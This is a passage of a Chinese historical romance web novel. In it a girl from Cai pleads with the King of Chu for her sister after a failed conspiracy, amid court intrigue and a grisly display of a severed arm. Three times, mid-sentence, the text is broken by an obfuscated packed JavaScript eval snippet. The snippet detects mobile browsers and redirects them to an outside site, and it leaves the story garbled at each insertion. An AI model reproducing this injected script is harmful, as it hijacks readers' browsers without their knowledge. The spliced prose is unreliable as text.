她担忧的望了阿姮一眼，又道：“听寺人们说，蔡国使团和王叔串通一气，想要加害大王。王上震怒，叫人把使团的人全杀了！他们还在大夫们的营帐里搜查，抓那些参与谋反的人。你也是蔡国使团送来的，大王会不会把气出到你身上？怎么办？要不……你赶快逃吧！可到处都是兵卒，你往哪里逃呀……” 覃语无伦次，眼中布满焦虑。 蔡国使团的副使隗蹇和王叔度密谋的事，阿姮已经知道了，她连连摇头：“阿姊没有跟隗蹇勾结！我去跟大王说清楚！” 她拔腿就走。“大王还在杀人呢！你去做甚！”覃一把拉住她。 “你就是那个、用武王古法酿出祭酒的蔡女？” 讶然的话语声凑近，正在拉扯的两个姑娘停了下来。 司巫蹒跚走近，定睛端详阿姮，温和的目光中含了一丝惊异。 “正是妾。”阿姮向司巫屈膝行了一礼，随即蹲下将收拢的冕珠用布帕包裹起来，和冠冕一起抱到怀里。 起身时，覃扯了扯她的袖子，凑到她耳边低声说：“有司巫在，快求他老人家为你和鹂夫人卜一卦。” 阿姮勉强朝覃笑了笑，却只是摇头，准备离开。 楚王曾警告她，不要妄图用占卜猜测他的心思。时至今日，阿姮突然明白了，楚王说得也许没错。 人人都希望占卜出吉兆来，可是，如果前路凶险，难道她就不走下去了吗？ 如果卦象不吉，她就能弃鹂阿姊于不顾吗？ 天下之大，人心之深，事态之多变，龟甲卜不出来的，又岂只有楚王的心思？ “蔡女留步，”司巫唤住阿姮，递给她一枚龟甲残片，“此卦因你而成，卦象即汝，汝即卦象，拿去罢。” 阿姮不明所以，怔怔的接了过来。 司巫不再同她说话，缓慢踱步走向露台，边走边抬起两手掐算，不晓得又在卜算什么。 阿姮心中记挂阿姊，不做停留，急匆匆的离开。 “哎呀！你……”覃直跺脚，无奈的跟着阿姮下了祭台。 司巫站在露台，看向自己怎么也算不明白的两只手，口中尤在喃喃自语。 王上有武王先君之遗风，可喜可叹。然，大王刚强有余性烈如火，易生暴虐嗜杀之心。烈火可焚烧一切，可摧毁所有，于王上自身亦有血灾。幸而变数突现，才使得坎卦逆转，化凶为吉。 那个温婉柔弱，似乎又蕴藏着极大勇气的蔡国少女，就是国君卦象上的变数。 然而以后又将是怎样的情形，他无论如何也算不出。 只因，人心就是最大的变数。他何尝不知？ 司巫从高处往下望去，长叹了口气。 难怪薄媪总跟他唠叨，年纪大了，跟不上王上前行的脚步。他们的人生已经走到了夕阳暮色里，而年轻的大王，如同露台外的那轮朝日，喷薄欲出，势不可挡。 祭台下，昭伯的尸身被挪走了，只留下一滩血迹。 那个少女已走远。 * 阿姮赶在半路遇到被虏在兵车上的鹂阿姊。 阿鹂看到她，泪如雨下。 阿姮上前抱住阿鹂，对领头的汉子说：“蔡国使团犯下的事与鹂夫人无关！请百夫长容妾去跟大王求个情！” 这队卒子的头领，是数日前负责到酒窖运酒的百夫长，名为仲其箕。 阿姮认得他，他自然也一眼认出，她就是酿造出武王陈酿的那位蔡国美人，遂招手令队伍停下来。 仲其箕耐心的对她说：“阿姮姑娘，昭伯之事与蔡国使团和王叔度无关，大王并未令我等为难昭伯家眷。昭伯的夫人和长子已经代其伏罪，他们愿意献出土地奴民和财宝，折合两万金为昭伯一族赎罪。我今日带人回王城，便是去搜查昭伯的家宅。至于昭伯家中的妾室，昭伯夫人说将她们发卖出去，以便换取赎金。” 阿姮急忙说：“我想法子筹钱，赎我阿姊！” 仲其箕扫了一眼兵车上凄凉的众女子，犹豫了片刻，方道：“昭伯夫人说，倾其家中所有，一时也凑不齐两万金，只能将妾室和奴女卖到妓馆去，换更多的赎金。” 妓馆是男子们寻欢作乐的地方。 听了仲其箕的话，兵车上浑浑噩噩的女人们，本来没哭的，此刻也放声大哭起来，一时间愁云惨淡。 阿姮脸色发白，她怀中的阿鹂抬起头，眼中满是惊恐：“我不去妓馆！阿姮！救我！救我——” 阿鹂哀叫了几声，猛地抽搐了一下，便重重的垂下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330707|167406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头，惊厥过去。 “阿姊！”阿姮摇不醒她，只得央求仲其箕，“请您容妾去求一求大王，绝不叫您为难！” 她的眼圈红了，声音在发抖。 仲其箕默默的点了个头。 覃上前把阿鹂从阿姮怀中接过去。 一个押送兵车的兵卒不耐烦的叫起来：“还走不走了？人还没送到，就叫人左一个右一个领走了，弟兄们一个都还没睡过呢！” 卒子们稀稀拉拉的笑起来。兵车上的女子羞愤掩面，哭声变得愈加悲怆。 仲其箕怒容满面，叱责兵卒：“再胡言乱语，小心撕烂你的嘴！” 覃又臊又气，忍不住悄声回了一句：“怎不找你老母睡去！” 她的声音淹没在仲其箕的叱责声里，所幸没有被士兵们听见。 阿姮朝王卒们来时的小路眺望过去，此处离楚王不远。 “我去去就回，请您一定等我。”阿姮朝仲其箕行礼致谢，又托覃照顾阿鹂，随即朝前走去。 阿姮一转身，两滴泪从她眼中仓皇掉下来。 是她对不住阿姊。 当时，她应该直接去寻阿姊，和阿姊趁乱逃走，逃得远远的。 她就不该管楚王的死活，不该闯到祭台上给楚王报信。 她的举动就是多余的。 将所有人玩弄于掌中的楚王，不会感激她，只会讥嘲她的可笑。 从昨夜以来，她一直没来得及松口气。此时，对阿姊的愧疚，做错了事的懊悔，即将面对楚王的忐忑，一股脑压上她的心头，让她疲惫不堪，却也只得迈着沉重的步子朝前走，一边任由泪水漫过眼眶。 * “昭伯已死，众卿以为，何人可堪为令尹？” 她的前方，慵懒的声音兀现。 阿姮定住脚步。 一脸泪痕骤不及防的落入两道淡漠又深邃的眸光中。 楚王走下土坡，初升的朝阳将他笼罩到一片亮堂堂的金色日光中。他摆了摆手，他身边模糊的人影战战兢兢的退了下去。 道路前方只余楚王一人，阳光洒满绣着山川河流纹样的冕服，光线沿着他魁梧的身躯勾勒出一道刺目的金边。 阿姮醒悟过来，慌忙拿袖子擦脸。 芈渊的目光从她单手环在胸前的九旒冕，落到少女潮湿泛红的面庞上。 他早就看到她了。 她脸上的泪花，就像昨夜从冕冠上掉下来的冕珠，本是玉一样的白，在她脸上破碎，绽开，绽放出流光溢彩的颜色来。 虽然她哭起来也很美，总不及在那场简陋的笄礼上笑得那么动人。她还是应该多笑一笑，比哭丧着脸好看。 当然，她还是很美的。 也很聪明，很勇敢。 若她是他手底下的王卒，他说不定会嘉奖她。 王卒毫不费力的猎到隗蹇。隗蹇哭嚎求饶，哭得鼻涕眼泪横流，丑态毕露。 芈渊素来厌恶蠢人做出蠢相，可那时，他忍住把隗蹇喋喋不休的舌头一刀割下来的冲动，只为亲耳听一听，听听那个姑娘，是怎么一脚把隗蹇踹到地上爬不起来的——用他教给她的法子。 隗蹇还说，她压根不是蔡侯献上来的美人，她不擅歌舞不通礼乐，只是个粗俗无礼的乡野女子。 芈渊心中微微有些讶异。 怪不得她和别人很不一样。 她是个聪明的姑娘，有时候又有点傻。 傻到藏不住心事，夜里做梦都喊出王上。傻到不顾危险，跑到祭台给他传递消息。 又如现在，傻乎乎的落着泪。 这副可怜的模样，好似一根羽毛轻轻的落到他心里，软软的，还很痒。 少年的眉毛轻轻动了一下，又舒展开，高高的挑起来，飞入墨色鬓间。 “过来。”他说。 14. 第 14 章 “手里拿的什么？”芈渊抬了抬下巴。 冕冠尺余大小，阿姮拿得颇为吃力，只能像抱柴火一样搂在胸前，他指的显然不是这个。 “来人，把冕冠送到作匠处。” 或许是觉得尊贵的王冠不该被随意对待，楚王一声喝令，一个侍卫悄无声息的冒出来，从阿姮手中接过冕冠，又悄然离去。 “这是司巫给我的，不是我找他要的，”阿姮两只手得了空，忙把握在手里的龟甲呈给楚王看，又小声补了一句，“妾没有请他老人家占卜。” 甲片上残存的卜纹一看便是昨夜的坎卦卦象。芈渊瞅了一眼，就没了兴趣。 他阔步向前，懒洋洋的声音随风轻送到阿姮耳边：“司巫兴许觉得此卦与你有缘，遂将它给了你。” 她虽然不懂占卜，司巫解卦时她也听到了，这是坎卦，是凶兆，不吉。 没有人想和凶卦牵扯到一起。阿姮抿了抿唇，跟在楚王身后。 芈渊步子迈得开阔，但走得不快，慢悠悠的，仿佛在欣赏原野间的景致。 “王上。”阿姮深吸了一口气柔声开口。她不能让仲其箕等得太久。 “昭伯的妾夫人阿鹂，您晓得的，她是……” “她是和你一同被送到郢都来的，蔡国美人。”芈渊突然停下脚步，转身面向她。 他深深的看她一眼，状若无意的说：“听说出自蔡侯宫廷的乐伎，都是能歌善舞之人。” 阿姮眼睛一亮，重重点头：“鹂阿姊不但会跳舞，还会唱曲。她唱的曲子是妾听过最好听的！大王，您能留下她么，她可以天天给您唱曲，还能跳舞给您看！” 她没有听出楚王话中的深意，反而一时激动向前跨出一步，靠到楚王身旁，不错眼珠的仰头看他。 这样的眼神，跟上回她想拿他的手臂练习制敌之术时一模一样。 她的眼睛睁得格外大，亮晶晶的，像朝露，滚啊滚，又好似晨星，闪啊闪。 偏生她的眼眶还红着，哭过的眼睛一汪水似的泛着潮气。 越看越像一只毛茸茸的红眼兔子。 “昭伯夫人要把她……卖到妓馆去，她和妾本是一同从蔡国来侍奉大王的，妾怎能眼睁睁看她沦落，大王，您可以帮帮我么？” 面对她的哀求，芈渊不答话。他垂下薄薄的眼皮，转过身接着往前走。 野兔胆小又很灵敏，有一点风吹草动就会惊慌跳开。想要抓住一只活的，还不伤到它，可没那么容易。 他脑中突然冒出一个念头——不要拆穿她。 否则就不好玩了。 芈渊勾了勾唇，走得快了些。阿姮期待的盯着楚王的后背，一路小跑跟上去，跟着他拐上一条小路，穿过一片起伏的树林。 上坡又下坡，眼前豁然开朗。 树林外是一块宽阔的石头河滩，一条大河碧波荡漾，自西向东，从阿姮眼前缓缓淌过。 茂密的芦苇丛里，昨夜扮做巫人的甲士摘下脸上的面具，跳进浅水滩，清洗脸上和身上的彩漆。青绿苇叶中，时而爆发出洪钟般的大笑。 楚王私厨里的庖人，也一早就过来了。庖人们在树下的空地搭起简易锅灶，埋锅造饭。年长的庖叔看到大王和跟在王上身后的阿姮，欢喜的抱起一个篾筐跑过来。 “王上！在江边打鱼的渔夫捞了一筐新鲜的河鱼，特来献给大王！”庖叔把篾筐呈到楚王面前。 阿姮翘首望过去，鱼儿们大小各异，离了水居然还在筐里挤来挤去，争相跳跃，果然新鲜极了。 她从没有见过这么长这么宽阔的大江，也没有一次抓到过这么多的鱼。幼时，她也曾和邻家阿兄去乡间小溪抓鱼捉蟹，鱼蟹没捞上来几只，反遭到从城郭来的城主的仆人一顿喝斥。趾高气扬的仆人说，河里游的、山上跑的，都归蔡侯和蔡国的贵人们所有，谁也不许私自捕捞。 如今，阿姮晓得了，那人说得不对。 前几日，在附近种田的农人送来几筐青菜。农夫说大王带人上山夜燎，帮他们驱跑了山上的野猪和獾子，那些野畜不敢再下山啃咬庄稼。农人们深为感激，特特的采了些夏季时蔬献给大王。 庖人们按照大王吩咐，把他们打猎带回来的野味赏了几大块给农人，叫他们带回乡里各家分食。 江边打鱼的渔夫听闻大王有赏，也凑趣往庖厨里送了几回鱼，得了些赏钱。不过每回都只一尾两尾，要先供奉给大王。阿姮跟着庖叔学会了做鱼，却连一口都还未尝过。 昨夜祭礼上厮杀的动静很大，惊动了周遭的楚人。渔夫得知祭礼即将结束，唯恐大王很快返回王城，他忙趁清早撒网，满满的捞了一网河鲜，拿绳索系在船头的水里泡着，见到庖人便托他献给大王。 远处的石头灶台旁，一个渔夫头戴竹笠身穿短垮，佝偻着腰背站立，笑呵呵的一脸殷勤。 芈渊看了眼鱼筐，说：“赏钱给渔夫，叫他把鱼拿回去，大鱼或卖或食皆由他，小的放回江中。” 庖人张大嘴，“啊”了一声，甚是不解。 难道楚王不爱吃鱼么？阿姮惋惜的盯着这一筐鱼，不自觉的吞咽了一口口水。 芈渊微微侧目。 “慢着。”他又唤住庖叔，叫他挑几尾大鱼从渔夫手中买下，将小鱼和鱼苗放生。 庖叔惊喜不已，喏喏答应，又冲阿姮悄悄招手，拿眼神示意她随自己去灶台帮忙。 阿姮犯难的瞟了眼楚王，不确定他是不是忘记了他和她刚才还在说的话。楚王一个转身，眸光从她头顶掠过，径直走到侍卫铺好的席上坐定。 “叫仲其箕来见寡人。”芈渊吩咐侍卫。 阿姮轻轻的呼出一口气，朝庖叔走去。 仲其箕来得很快。还有几个百夫长也被一同叫到楚王跟前。 庖叔刚刚将梅子饮煮开，阿姮连忙将梅子浆汁盛到盏中，给楚王端过去。 楚王坐在树下，绿荫如盖，凉风习习。 他不知从何处摸出一支箭羽，握在手中，如乐人击缶一般，有一下没一下的敲打面前的桌案。 仲其箕等人跽跪在楚王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336527|167406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对面，肃然俯首，等待大王发话。 “此次全歼叔度极其爪牙，汝等皆立大功，寡人有三赏。” 阿姮托着食盘，将盏放到案上，便退到楚王身后的大树旁跪坐下来，敛声屏息，竖起耳朵。 芈渊将箭羽撂至桌案，瞥了一眼热气腾腾的浆饮，缓道：“诸位在寡人为王太子时便跟随寡人左右，与寡人甘苦与共未尝有怨怼，奋勇杀敌从不计较个人安危。在寡人眼中，诸位有如荆山之铜，乃吾国重器。” 芈渊娓娓而言，仲其箕等人再三俯首，连说为大王效力乃是他们的本分。 “诸位中尚未婚配者数人，正值吉士之年，因常年受寡人征调差遣，不得半刻闲暇。这第一赏，乃下赏，寡人予诸位数月之期，汝等可归家与父母商议，择品貌贤淑的女子，娶妻成婚，绵延子嗣。” 芈渊一席话，好似把一尾鱼从岸上扔到水里搅起浪花无数，本来一脸肃色的汉子们顿时一哄而起，彼此戏谑调侃，比朝堂上的大夫还要吵闹。 阿姮原以为楚王叫仲其箕过来，为的是鹂阿姊的事，哪知他口吻一转，关心起百夫长们的婚事。 她心中焦急，轻唤：“大王……” 芈渊侧过脸挑眉看她，拿箭簇敲了敲盛满梅子饮的碗盏。 阿姮眨了眨眼，疑惑不解。梅子是他们上山夜燎时寺人们采浆果时带回来的，梅子汁是庖叔亲手煮的，有什么不对吗？ 她凑近桌案看个究竟，一股热气从盏中冒出来直逼脸颊，她方想起来，她还未将梅子饮拿冷水冰过，就急急忙忙的端上来呈给楚王。 “妾这就拿回去冰一冰。”阿姮懊恼，伸手去取。 被楚王的一只手捏住手腕。 “不怕烫你就试试。”芈渊嗤了一声，握着她的手腕不紧不慢的搁到案上。 阿姮又慌又窘，她朝芈渊挤出一丝难为情的笑容，说：“是妾大意了，我吹一吹，吹一吹就凉了。” 她说着就趴上去，对着碗盏深深吸气鼓起口唇。 脸蛋俏生生的鼓起来，占据了芈渊大半个视野。 如山中果实一样饱满鲜腴的嘴唇，一张一合，一吸一吐，活脱脱就像一条离了水的小鱼，在无谓的挣扎，娇滴滴的喘着气。 她似乎有一种神奇的力量，能将她身上那股又淡又甜的气息变化出各种各样的模样来，譬如粟米糕中鲜红欲滴的浆果，譬如从卣中盛出来的晶莹酒液，又如眼前这盏梅子饮。 他还未尝过，梅子的酸甜已在口齿间厮磨，纠缠不休。从他的嗓子深处直到胸腹，都在祈盼着一场甘露的滋润。 “大王，属下有心仪的女子，”一个眉清目秀的青年在众人的哄笑声中挺直身板，扬起声音，“她是卿大夫家的姑娘，她家不同意我们的亲事，请大王为属下赐婚！” “褚良！好样的！”汉子们叫着青年的名字，拊掌触地笑得更欢了。 喧嚣声中，趴在桌案上的少女身子往后一缩，退了回去。 芈渊眼前顿时一空，他抬起眼眸，道：“允了。” 15. 第 15 章 褚良大喜，叩首谢恩。 “第二赏，乃中赏，”楚王再次开口，众人安静下来，“此次歼敌，以军功论，当赐诸位田各百亩，布帛百匹，钱三千，稻酿……” 他话未说完，就淹没在汉子们的欢声笑语中。 有人迫不及待：“王上！第三赏又是何物？” 仲其箕和褚良等人热切的看向大王。按大王所言，第三赏该为上赏，又会是什么？ 芈渊唇角一勾，露出一丝志在必得的笑意：“明年春天，众将卒随寡人征讨东夷，将叔度丢失的土地和城池拿回来。” 一息的安静过后，汉子们爆发出雷鸣般的欢呼，把庖人们惊得纷纷停下手中的活计，好奇的张望。 芈渊说得轻描淡写，百夫长一个个面露激动之色，摩拳擦掌热血沸腾。 他们是天生的战士，以鲜血点缀的战功就是给他们最高的奖赏。 芈渊以箭簇敲击桌案，把众人的喧哗声压下来，肃声道：“论功行赏寡人绝不吝惜，论罪当罚，寡人也不会手软。望诸位严格约束兵卒，恪守军规。凡有凌虐小民、破坏农事、逼淫\妇人等恶行，犯事者无论是兵卒还是在坐的各位，一律当斩。” 箭羽“咔嚓”一声在他手中折断。 百夫长们凛然答喏。 “仲其箕，你将昭伯家的罪妾和奴女带回郢都，交给薄媪。” 楚王终于提起鹂阿姊的事，阿姮精神为之一振。 只听楚王说：“凡女子及笄、男子弱冠，即可嫁娶。你告知薄媪，将昭伯家的妾妇婚配出去，不拘小民亦或兵卒，但凡有田产家宅、尚无妻室的适龄男子皆可妻之。薄媪知晓该如何做。” 仲其箕答应下来。 机灵些的听到这里全然明白过来，大王催促他们娶妻，原来拐着弯的把新妇送到他们跟前。昭伯家中的娇妾和美婢，其中不乏长得水灵又会侍奉人、还会打理家宅的女子。 原本哪里是他们可以肖想的呢。谁知，转眼间就有了机会。 几个尚未娶妻的百夫长按捺不住，起身跟大王告退，嚷嚷着要陪同仲其箕往郢都城里走一趟。 仲其箕站起来，大王身侧的姑娘正好也从树下起身，朝他抿唇微笑，点头致谢。 仲其箕心头一热，跟大王拱手就要告退。 芈渊却又叫住他们。 “告诉昭伯夫人，昭伯的妾室奴女，寡人已代为处置。欠缺的赎金，由昭伯长男以军功相抵。昭氏私卒依旧由昭伯之子统领，令他即日启程去庸地，翦除叔度残党，以待明年寡人亲征东夷。” “喏！”仲其箕等人的应答声异常响亮。阿姮走出去老远，还听到他们铿锵有力的声音。 鹂阿姊被送到薄媪处，已然是眼下最好的局面。阿姮心里总算踏实了些，只等找个机会去薄媪那里和阿姊见一面。 这回，又多亏了楚王。 总是一脸傲慢不屑的楚王，待人严苛无情的楚王，屡次救她，助她。这一次他不止帮了她的阿姊，还顺手救了那些差点被卖到妓馆的可怜女子。 他漫不经意的对她漏出些许善心，久而久之，让阿姮从最初对他的畏惧，变成了沉甸甸的感激。 这种改变，阿姮自己尚未察觉出来。她所想的，唯有尽心竭力的做好差事，报答楚王。 * 芈渊将事务一件件安排下去，一口水浆都还未来得及饮用。 他斜了眼已经温凉的梅子饮，刚把碗盏拿起来，一个随仲其箕离开的百夫长去而复返。 “大王。”百夫长祝让笑得一脸卑贱，腰弯得比讨赏钱的渔夫还低。 “何事？”芈渊语音淡漠。 “大王，属下也有个心仪的女子，想跟您求个恩赐。” 祝让见大王自顾饮浆没什么反应，想来也就是点个头的事，他谄笑加深，说：“她是大王宫中的宫女……” 芈渊手一顿，梅子汁的酸味直冲喉咙。 “滚！” 他未及深想，一个“滚”字就从嘴里冒出来。 王命不可违，祝让只得挠着头麻溜的滚了。 芈渊冷静下来，立刻明了，祝让所说的另有其人。祝让不像景肱那般不识趣，更没天大的胆子敢觊觎国君的女人，他口中的“心仪之人”，显然不可能是她。 梅子饮余味仍在，一点也不甜，只有酸味，牙齿酸得快要倒掉。 芈渊放下盏，身旁空无一人。 远处树下，她和庖人在说着什么，忽然转头朝这边瞅了一眼，又飞快的把脸转了回去。 芈渊移开眸光，轻嗤了一声。心下却不得不承认，造作的顾盼之态，也有让人觉着可爱之时。 灶台旁。 庖叔对阿姮说，司巫给她的那枚龟甲残片，他适才细细的磨成粉，炖入鲜美的鱼汤中，叫她给大王送过去。 祭礼上发生的事情，庖人们并未亲眼得见。只听说逆贼伏诛，司巫给大王卜出一个顶顶好的兆头。既然是先祖为大王降下的吉兆，合该珍惜，用来煮汤再好不过。 庖叔为楚王料理膳食多年，阿姮着实说不出反对的话来。就一片龟甲罢了，除了汤色难看些。她想了一想，另做了一道鱼脍，一并呈到楚王的案上。 “这是鱼汤？”芈渊看向摆在膳食中间黑不溜秋的汤，眉头微蹙。 如果庖叔在场，就该喜孜孜的据实以告了。 “庖叔说，这是必胜汤，”阿姮哪敢说实话，赔着小心柔声细气的说，“庖人们听说大王即将亲征东夷，特做了这碗鱼汤，提前恭祝大王将逆贼杀得片甲不留，旗开得胜。” 芈渊的眉头没有松开，却懒得质疑。巡狩途中，更难看更难吃的膳食不是没碰到过，能饱腹即可，他不挑剔。 “端回去，赏给你和庖人。”他长指一伸，指向鱼汤旁边雪白的鱼脍。 阿姮下意识的脱口：“大王您不尝尝吗？” 鱼脍是她亲手所做，庖叔还夸她学得快。 芈渊瞥了一眼，心说，果然还是她做的更让人有食欲。 此时，侍卫抱着一个半臂长的木头盒子，领着景梁和景稚父女来见楚王。 “你先下去。” 芈渊看到侍卫手中的长木盒，放下汤匙，摆了摆手示意阿姮把鱼脍端走。 阿姮轻咬下唇又松开，默默退下。 迎面碰上景稚。 景稚灰头土脸一身狼狈，气恼的瞪了眼阿姮。 昨夜营盘突然起火骚乱，景稚和下人被困在大王的营帐，帐外火舌肆虐，刀光戟影和惨叫声此起彼落。偏偏寺人们都是臭哑巴，一问三不知，还把她看得死死的。她不知道外面究竟发生了何事，被吓得不轻。 等大王的侍卫放她出来，她见到父亲，父亲一顿责骂，令她来给大王赔罪。 “大王！臣得知您仍旧将昭氏私卒交给昭伯之子统领，这可使不得啊！除恶务尽，否则必有后患啊大王！” 景梁还未站定，就一脸焦急的开口。景稚的事先放一边，昭伯的土地田产和奴民、还有残存的兵卒，该如何瓜分，才是最重要的。 还有令尹之位。 经历昨夜之事，景梁心生惧意，不止王叔度和昭伯看错了大王，他也打错了主意。他略加思索，便放弃了想让大王立景氏女为王后的念头。 不过，令尹的位子不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344927|167406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正好空下来了吗？ “昭伯之罪，罪不在谋反，不在其子，”芈渊站起来，踱步走到景梁身前，“他罪在欺君，他以为国君年少无知，便可以胁迫哄骗、可以欺瞒蒙蔽。景大夫，你说寡人说的对吗？” 景梁语塞，老脸火辣辣的，仿佛被人扇了一巴掌。 “景卿不必过于紧张，寡人相信你并非昭伯，寡人还另有重任托付爱卿。” 楚王一挥衣袖，叫侍卫打开木头盒子。 一只断臂连着完整的手掌五指躺在盒子里，一看就是刚砍下来不久，淋漓的血沿着木头缝隙正往外渗。 景稚没防备，尖叫着，腿一软坐到地上。 景梁骇然：“这是——” “这是蔡国副使隗蹇的右臂，看在蔡侯的面子上，寡人留了他一命，”芈渊神色平静，嘲弄的勾起薄唇，“他的手伸得太长了，寡人替蔡侯给他一点小小的教训。” “他的手伸得太长了……伸得太长了……”王上的话在景稚耳边反复回响，她吓得发抖，勉强从地上爬起来，呜呜咽咽的跑开了。 “再者，蔡侯给寡人送来贺礼，寡人还一直未能回敬蔡侯。便由爱卿出使蔡国，将隗蹇的手臂带过去作为回礼，代寡人向蔡侯致以问候。” 景梁嘴唇哆嗦着应下来。 “你告知蔡侯，想要隗蹇活着回去，拿楚蔡边境的十五座城池来换。” 景梁迟疑：“若蔡侯不想割让城池……” 隗蹇又不是蔡侯的儿子。 “听闻隗蹇之姊是蔡侯最宠爱的夫人，景卿带上金银宝物去找隗姬，再许给她一些好处。蔡国使团到郢都游说众卿时，不就是这么干的？景大夫全然忘记了？” 芈渊面上显出不耐烦，转身走回案旁，坐下用膳。 景梁脸色红一阵白一阵，羞惭的说不出话。 * 阿姮把鱼脍端了回来。 “看吧，大王用了那碗吉兆汤，武王先祖在天上都高兴着呢，”庖叔得意的摇头晃脑，笑眯眯的拿出一双竹箸递给阿姮，“馋了好些天了吧？既是大王赏的，这些都是你的！” 洁白如玉的鱼脍佐以金黄的菜齑，怎么看都比那碗加了龟甲的鱼汤好多了。 楚王不吃，是他没口福。阿姮微微一笑，从庖叔手中接过箸筷，再没有顾忌的品尝起来。 “你们蔡国使团的人被大王杀的杀，砍的砍，你居然还有心情用膳。” 景稚跌跌撞撞的走过来，语带讥讽。 “他们做下悖逆之事，就应该承担罪责。”阿姮放下筷子，向景稚行了一礼，便绕过她去帮庖人腌鱼。 “站住！”景稚一把抓住阿姮的袖子，气急败坏的说，“别以为我不知道！你根本不是蔡侯送来的美人！蔡国使团把你安插到大王身边，究竟是何居心！” 阿姮身子一震，原本平静的脸庞露出一丝慌乱。 除了大王，景稚没想让别人知道，故而压低了声音，只有她们两人才能听见。 终于从蔡女脸上看出破绽，景稚自以为拿住了她的把柄，不由大为得意。只见阿姮丢了魂似的朝远处的大王望过去，景稚恨声道： “你看到了吗，你们的副使隗蹇，被大王砍下一条手臂，就装在那个盒子里。如果大王知道你胆敢欺瞒他，你猜他会怎么对你？” 一阵风吹过，烈日被浮云遮住，天空变得灰暗，万籁寂静，连河流也仿佛停滞了流动。 阿姮后背发冷，一股凉意从脚底窜上来。 楚王在用膳。景梁走了，侍卫抱着木头盒子跟在后头。 景肱来了，楚王用完膳，起身和景肱一起朝她和景稚走来。 16. 第 16 章 芈渊看到景肱，不由皱眉：“还未回荆山？” 距离征伐东夷已不足半载，军械粮草和马匹战车都得早做准备。景肱在荆山督造兵械，一刻也马虎不得。 “还不是为了申叔偃从晋国送来的那柄铜剑，臣回家翻遍古籍，也没找到铜剑上的铭文来历。臣打听到一位下卿大夫，听说他纵览古今博学多识，尤为精通殷商铭文。臣去他家中找他，屡屡扑空。我原以为他在大王这里参加祭礼，可又没寻着！只怪臣的运气不好。” 景肱笑嘻嘻的答着大王的话，不时瞟向远处的阿姮。 芈渊顺着景肱的视线瞥了一眼，草草用完膳食。景肱哪里是来寻什么下卿大夫的，分明别有企图。 “铜剑的事不急，那位下卿大夫姓甚名谁，我叫人去找一找。”芈渊扔下箸匙，起身离席。 郢都城里的卿士很多，不是每个人都有资格出席重大的祭典，景肱找不到人也不奇怪。 “也好……”景肱连忙跟上，报出卿士的姓名。 君臣二人很有默契的朝正在腌鱼的庖人走过去。庖人们举起两只沾满盐粒的手爪就要跪拜，芈渊挥起袖袍免了他们的礼。 景稚看了眼阿姮，走上前。阿姮的脚被钉在地上，眼睁睁的看着景稚走向楚王。 “王上，”景稚眼圈一红，抽噎着说，“臣女错了，臣女不该到传舍去打探蔡国使团的行踪，险些耽误了王上的正事。” 阿姮的心狂跳不止，听到“传舍”、“蔡国使团”几个字，她的心跳差点从嗓子眼里蹦出来。原来，景稚是这么打听到的，那么楚王知道吗？ “阿稚，你又闯了什么祸，总是这么任性，”景肱无奈摇头，迈着步子走到阿姮身边，微笑跟她打招呼，“阿姮……” 景稚回头扫了一眼沉默的阿姮，说：“妾本来是出于关心王上，才……” “看到隗蹇的半边胳膊了？记住寡人说的话，手不要伸得太长。” 芈渊打断她，冷厉的眸光压下来，眼中没有一丝温度，充满戾气。 景稚瞪大了眼睛，不敢置信。 大王他知道！他在警告她，只要她敢说出一个字，他也会像对待隗蹇那样对她！ 景稚噤声，肩膀不停的颤抖，连啜泣都不敢大声。 阿姮垂着头，心乱如麻。想来楚王还不知情，他不会有兴趣去打听，但是如果被他发觉了……不行，不能让楚王知道！她管不了景稚或他人的嘴，总之她不能露出马脚，绝对不能…… “大王，您又不是不晓得，阿稚从小就对您……”景肱面露不忍，叹了口气转而说道，“景稚惹您不悦，您尽管责罚我和叔父！您知道的，景氏是您的母族，景氏阖族永远效忠王上。” “寡人正是知道这一点，才会一再的容忍！”芈渊的声音沉下来。 他抿住唇角，将差点说出口的话克制回去。 容忍景梁的贪婪和愚蠢，容忍景稚的骄纵任性，容忍景肱的天真糊涂。 ——只因，景氏是他的母族。那个在他很小就去世的女人，他记不得她的模样，但她给了他生命，她是他的母亲。 芈渊抬手轻揉了揉眉心，面无表情的说：“景氏已经出过一位王后，寡人不会立景氏女为后，嫔妾亦无可能。” 景稚蓦地止住抽噎，抬头看了眼芈渊，大哭着狂奔出去。 “阿稚！”景肱喊了一声，刚要拔腿又定住，匆匆对阿姮说，“我来的路上碰到仲其箕……” 阿姮猛地抬起头。 “鹂夫人醒了，她叫你勿念。姑娘如有难处，就去景家，报我的名字即可。” “多谢——” 阿姮还未说完，景肱一个闪身，大步迈出去追赶景稚。 